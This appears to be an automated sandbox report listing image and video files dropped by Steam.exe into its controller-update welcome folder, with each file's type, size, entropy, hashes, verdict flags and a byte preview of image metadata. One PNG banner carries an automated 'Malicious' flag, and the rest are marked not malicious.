Preview:	.E.........B...B...B..B..B..webmB...B....S.g......t..M.t@-M..S...I.fS...M..S...T.kS...0M..S...S.kS...tT.............................................................................................................................................................................I.f.......E...B@M..Lavf55.48.100WA.Lavf55.48.100s...!_,..Q..}t&....D..@........T.k.......G........>..s....."...und..V_VP8...#...".................T....T.....C.u......c....dI....P....................k.mN. ....d..R.6....ED.#..}..].......[.G...../.{U...I......g..3.....?.z........>.....~Yz..}........._.?.~i.....'./f...t..Ab.(\|.2..IY..\|.W.P,..d.....q..5v.Y....2..b/.m..7Hge...]Kj........M../m.. <,....BJ.g.iz.+(].l}.>....Z.1..B,.;g....:.u..Z.G..4x..\M2z...=y.g..W.g.W.z/.."4...&5m@.....In....L.o.!F..h.@. .R...#...TQ.d/....y..r..M{.....Y.......7...O..P.Md..oU..!....[...3W.......9.e...../.o..6.@O.;..;!e...m..H..jrr.z....].......Z...^...N;..m..E..{.j...oO..Z....i.1..)E.....?.j'.!<.....U{0,.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_gyro_ex_constablebento.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 441x247, components 3
Category:	dropped
Size (bytes):	45616
Entropy (8bit):	7.982883299335989
Encrypted:	false
SSDEEP:
MD5:	6F650814F122A428CF80AB07F4ABD88B
SHA1:	C45B0B288CFED092473CB5515FCBD6C83277C02B
SHA-256:	CAE198169D94A7AE2E0439B1272A3269603ADF28EC9DB169EEF14BB662AA60A8
SHA-512:	8065AC38E41D88E57F4910C56B0A3BF7647B8EF848102FDFE1707FEEF2224465A5F48807A49CA797993F35E55B6964F98E34C5C148E2A5782CCD7FFE006076CD
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......Z.....+http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:50ED26019ED311E58BBBCDC30945917E" xmpMM:DocumentID="xmp.did:50ED26029ED311E58BBBCDC30945917E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:50ED25FF9ED311E58BBBCDC30945917E" stRef:documentID="xmp.did:50ED26009ED311E58BBBCDC30945917E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d...............2k..S...y.........................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_gyro_ex_gamermuscle.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 441x247, components 3
Category:	dropped
Size (bytes):	50741
Entropy (8bit):	7.979823644366413
Encrypted:	false
SSDEEP:
MD5:	425AA028FC613D18DA08A311E455E201
SHA1:	7D848252BD3DF074DD2D1EB3BA82AF07FA770065
SHA-256:	FECC5A0B679DA0AF2D3523CEBC257EF4CF4DFE644218D922D94B1BF88BC553AC
SHA-512:	E9AD9AEA037CD490396E9A748AA1BFEB77C898F9B0E92E43F26061D0B5DE0BFF12634BDA6338C9E6A0B3D8937BA9751C61D592D17B414AE9016552D17A0B529E
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......Z.....+http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:66479C119ED311E5AA83AB17163DA12D" xmpMM:DocumentID="xmp.did:66479C129ED311E5AA83AB17163DA12D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:66479C0F9ED311E5AA83AB17163DA12D" stRef:documentID="xmp.did:66479C109ED311E5AA83AB17163DA12D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d...............0_..a....2...3....................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_gyro_touchmenu.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1922x598, components 3
Category:	dropped
Size (bytes):	416635
Entropy (8bit):	7.980172071006453
Encrypted:	false
SSDEEP:
MD5:	21016FD0206DCF40ECAC4866D5FBE132
SHA1:	40FB10F95FD8942686507EBD6F2946BD76209137
SHA-256:	FFFAFDD4B8D1AF130F4B2EF102925143A16353087613E3AA4D4DA455970395FA
SHA-512:	83F4310DBD48ED7C1C6EF4A12CEDA27594F1344FB39E535832A70C8068DAD401E621F4C698EA3E2AE45D03780D6ED6DAF23CA1C34C99E69E8746974C6A201AD3
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......Z.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8" xmpMM:DocumentID="xmp.did:C775AF639DFE11E5994EE3328D0B4555" xmpMM:InstanceID="xmp.iid:C775AF629DFE11E5994EE3328D0B4555" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E4F7C05FFD9DE51195BDCB1B64CB4EE8" stRef:documentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................:..........[y................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_hometheater.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1922x598, components 3
Category:	dropped
Size (bytes):	141876
Entropy (8bit):	7.881417389601714
Encrypted:	false
SSDEEP:
MD5:	F517D0CD8F0F18C87FA843B8CC4B5006
SHA1:	8C7445D32C84953E2CD7B31763CBFFE9E223F3C1
SHA-256:	0FB41FD309759B15B6CB2FF98DE85EAA83A678E33A821F6A2C49AA3075FD7557
SHA-512:	B7B63D83D78235D2BE1DD150EDDB61E27FBD2FDBB13E7A91D145EC375FBE26EF5954CC94E5D48178E505B039A7E7C0C0C5070AF9D6B1BAA5B4F38B7C546A7A3B
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II.................Ducky.......Z.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8" xmpMM:DocumentID="xmp.did:A0225A289EC211E5A3A08B605F35C18F" xmpMM:InstanceID="xmp.iid:A0225A279EC211E5A3A08B605F35C18F" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E29DEC03B69EE51195BDCB1B64CB4EE8" stRef:documentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d....................#..n9..2................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_mouseregions.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1922x598, components 3
Category:	dropped
Size (bytes):	242261
Entropy (8bit):	7.967375672235223
Encrypted:	false
SSDEEP:
MD5:	0F8F81167CF3039A81CCB7C37DCF0E83
SHA1:	9F40EAA2DEDC6C26E732B61C480D7CA4D8288B52
SHA-256:	EC646A076926B7DB165059112BAFF6939F3B8564B33EFD51F2A01A5DE2A9F5A0
SHA-512:	C0873AC10847824340A8159607C247B90E01428A973078C94EBDBBD899547E84E3E23E8828312AE9EC684CBA5B763D2DA9FD9AAD3D40DD3527B101891BE451F0
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......Z.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8" xmpMM:DocumentID="xmp.did:B2B45EA29EC211E5B040C9D67544F435" xmpMM:InstanceID="xmp.iid:B2B45EA19EC211E5B040C9D67544F435" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:73028198C09EE51195BDCB1B64CB4EE8" stRef:documentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d..................m~..U;...S................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_moystick.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1922x598, components 3
Category:	dropped
Size (bytes):	232028
Entropy (8bit):	7.957827938525165
Encrypted:	false
SSDEEP:
MD5:	4DF0CFD23B0D915BEF68F3AF9BBF74B4
SHA1:	BE9834D0EB2AA18D56C5D798C1C707F309F93229
SHA-256:	3630E4BBBC9D39F0820A5F0858D7BDEC9E329A7C2F31E8ED6F4611D9B9A479AE
SHA-512:	9900EA93590213B22021EE4BFB7CDE0019F6289E4D97D4FCA6FFD50A3AAE211581F6E6A5F324BF9D6919A0812EBB37DEDB419CD38E29EA2F054DE0AD6EC86319
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II.................Ducky.......Z.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8" xmpMM:DocumentID="xmp.did:BFD37CCB9DFF11E589F5C279DDA01069" xmpMM:InstanceID="xmp.iid:BFD37CCA9DFF11E589F5C279DDA01069" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:770EB18AE29DE51195BDCB1B64CB4EE8" stRef:documentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................^..Y..6....Z................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_overview.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1922x329, components 3
Category:	dropped
Size (bytes):	48368
Entropy (8bit):	7.665111481035524
Encrypted:	false
SSDEEP:
MD5:	411A16B6F1F35AD8449E79F44F11B6FF
SHA1:	0F78311C66B5ED18362CD7AEC971563583599CCC
SHA-256:	BE8F49326E0B20FEB081884547597E11AFBD56661CED212FFDEF21A98F320FE7
SHA-512:	B60F67051BABBF1C3236C65BD4BF296FC1DFD4B53D195A0C17AA30EACBB93181F1EAC328B11173E5E9EBBE661A0DCC91273D62E755214233D02C41142EB13C2B
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......Z.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:E7F7C05FFD9DE51195BDCB1B64CB4EE8" xmpMM:DocumentID="xmp.did:642FBA5F9E0011E59F9E9038F300335F" xmpMM:InstanceID="xmp.iid:642FBA5E9E0011E59F9E9038F300335F" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E7F7C05FFD9DE51195BDCB1B64CB4EE8" stRef:documentID="xmp.did:E7F7C05FFD9DE51195BDCB1B64CB4EE8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d...............4c..\....w....................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_personalize.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1922x598, components 3
Category:	dropped
Size (bytes):	125437
Entropy (8bit):	7.933287821374422
Encrypted:	false
SSDEEP:
MD5:	A216432060A02612D9CAC404152415F2
SHA1:	0E301E596DDF59B2EFEEC791DA6A3B3DB3558B7E
SHA-256:	ADDB399F6FA63D2522BF5C49F21AD8111298F028A479F2CFCEEDB89EE10AA0E5
SHA-512:	3F48B41BBCCFA2C192FACD5EF4836EF1C97E0BFC00E160F401460A417F948383F18B76F091E12FFC33DEE1E59B8BEDE96A7C986750FC9F21D5E5A01C81BEEBB3
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......Z.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8" xmpMM:DocumentID="xmp.did:3FCF09F39F6A11E5A260A257CB29AC19" xmpMM:InstanceID="xmp.iid:3FCF09F29F6A11E5A260A257CB29AC19" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4A224EBDF79EE5119C8FB5360E56FB5B" stRef:documentID="xmp.did:750EB18AE29DE51195BDCB1B64CB4EE8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d...............\|....\..5.....................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_shortcuts.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1922x598, components 3
Category:	dropped
Size (bytes):	227266
Entropy (8bit):	7.977382369708238
Encrypted:	false
SSDEEP:
MD5:	C3A6B3248A09D38C788DD3E9A1624661
SHA1:	4B32AA734CA8B8E436A8601AAC8B6F46B3CDF054
SHA-256:	72EDF6E6AE8709F0611740DC7720665DDE7E7EF79060FF17E4BD9ACC52FFB3A3
SHA-512:	DE825DFB5A4F0A997FF4557BFB349596D3A9781E9B11DD0D91F861F2F20B3BC3C5378B88B034A913C6A83767B9D0BC3BE0E12C22BF3D808222B4FC213941C476
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......Z.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:E79DEC03B69EE51195BDCB1B64CB4EE8" xmpMM:DocumentID="xmp.did:1045C4609EEE11E5AAD0BB5727F82BB0" xmpMM:InstanceID="xmp.iid:1045C45F9EEE11E5AAD0BB5727F82BB0" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:110D0459E99EE51187D189A6FF855BB8" stRef:documentID="xmp.did:E79DEC03B69EE51195BDCB1B64CB4EE8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................^..`v..(...w.................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controllerbanner.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1280 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	299406
Entropy (8bit):	7.992769707205528
Encrypted:	true
SSDEEP:
MD5:	7E75B6A39F0068E151AF11B6A2B44485
SHA1:	63331BEF147CFE0EBB56B352C11237953DF7A460
SHA-256:	56BC5CD9D736643A9577A8A3D666EA5AB663406851A30E619567CE8E402BB719
SHA-512:	58CDFCB15E4F59DF9CAA9D12340168DB604C0641F8C7F34F95CF12840B9D9092FD476139703C3F9F6BBEF8926D6CBDA7ED80A25ABAB616D7E90441A087D5820A
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR..............C.y....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5ED698A13069E511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:C5F1B3006D9411E5BC26F81DC6167A52" xmpMM:InstanceID="xmp.iid:C5F1B2FF6D9411E5BC26F81DC6167A52" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:00C48C7B8E6DE511B877C8050FDE701A" stRef:documentID="xmp.did:5ED698A13069E511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.E......IDATx...b.8.-........s.b..%...w.*..b........

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controllerconfig.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10181
Entropy (8bit):	7.948964627172864
Encrypted:	false
SSDEEP:
MD5:	7A9E3EA0D91FE7B1D190A4EE6B041133
SHA1:	B0E8C9D108C6D3504FC9D6BC1C056864C659F98C
SHA-256:	9989968BF4030EA6BC77D57C6053BACDDB6B8CD68EE867E17ECF19F54A851D74
SHA-512:	4EB31325DFD6D0CEED43B58907A951D0BD05961F276875BEE3281B2D5FF6CF2A1B1085DB7A2BC7683F8B53D3EB1432351AF57703BF43069B60920121B6A4D402
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......`......zzI....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:A3BD0F566D9111E58F7E845A689C876E" xmpMM:InstanceID="xmp.iid:A3BD0F556D9111E58F7E845A689C876E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FEC38C7B8E6DE511B877C8050FDE701A" stRef:documentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..B...#.IDATx..}....u......l..F....v...........8..#.I.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controllergrip.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15516
Entropy (8bit):	7.967877790023096
Encrypted:	false
SSDEEP:
MD5:	117EDD186FC01CABE425F9FEE4380B31
SHA1:	1C5950AF7ED62C3C15DC5F9BEB456D6BA204B1CB
SHA-256:	48696AE87832D510496B4977AAFE1A3449052597ACF82605CC916417576A0E29
SHA-512:	2A309EF7B64F0B65EE18AF8ACEC37DD8A33A2B44159DAB0971F0EB64FE2764BC0EC22A5BF5525CFFA18D093E415775A1C2AE8F069AA86BC3B5BD86B20FEF7967
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......`......zzI....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:B760A9236D9111E5A375F150C5294F31" xmpMM:InstanceID="xmp.iid:B760A9226D9111E5A375F150C5294F31" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FEC38C7B8E6DE511B877C8050FDE701A" stRef:documentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......8.IDATx..}.m.qW..........8v.w.H.."B.H..I..P&.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controllerkeyboard.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15188
Entropy (8bit):	7.974102286037075
Encrypted:	false
SSDEEP:
MD5:	6E281EDD8C94D492C33C4DB55330A096
SHA1:	86AE4344BAF744E75C1DDEEF1E978EF6CE378C66
SHA-256:	2D230195A1336669A2259B81D2C11433CFA10C44CF865344ABA39C8F53841AA7
SHA-512:	B488D8858C0CCE909C5CD22AD9248DAD494BEDE2AAD66A8533854D80550CA1963B5F64928FAB4362098473C8DAEF60B21595EAA526F20327DF3BE58ED469FD20
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......`......zzI....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:BE5ACDDB6D9111E59FF7F6413B3B4D34" xmpMM:InstanceID="xmp.iid:BE5ACDDA6D9111E59FF7F6413B3B4D34" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FEC38C7B8E6DE511B877C8050FDE701A" stRef:documentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..N...7.IDATx..}i.eWV.Z.{...^.e.`..\...v.....44D....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controllermanage.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13807
Entropy (8bit):	7.964695816433059
Encrypted:	false
SSDEEP:
MD5:	83163DB8EF826177B53EE5F535490EA5
SHA1:	12AD643D012050ACD441CDED25FDBBFE44805EDF
SHA-256:	1263F17D8DA1C7858C7898C18201DD2F15E1E0BA2B3C2793605C48600AC5CA60
SHA-512:	ACE543FF85E4BAA7C2CCC6AB67B8A29FB986CE9E3C3597AB00FD992B10E76D4B8078B853DDDDCBE2103B65A0FD04713C28C2AE8B090034997AB34FACABD46FD3
Malicious:	false
Reputation:	unknown
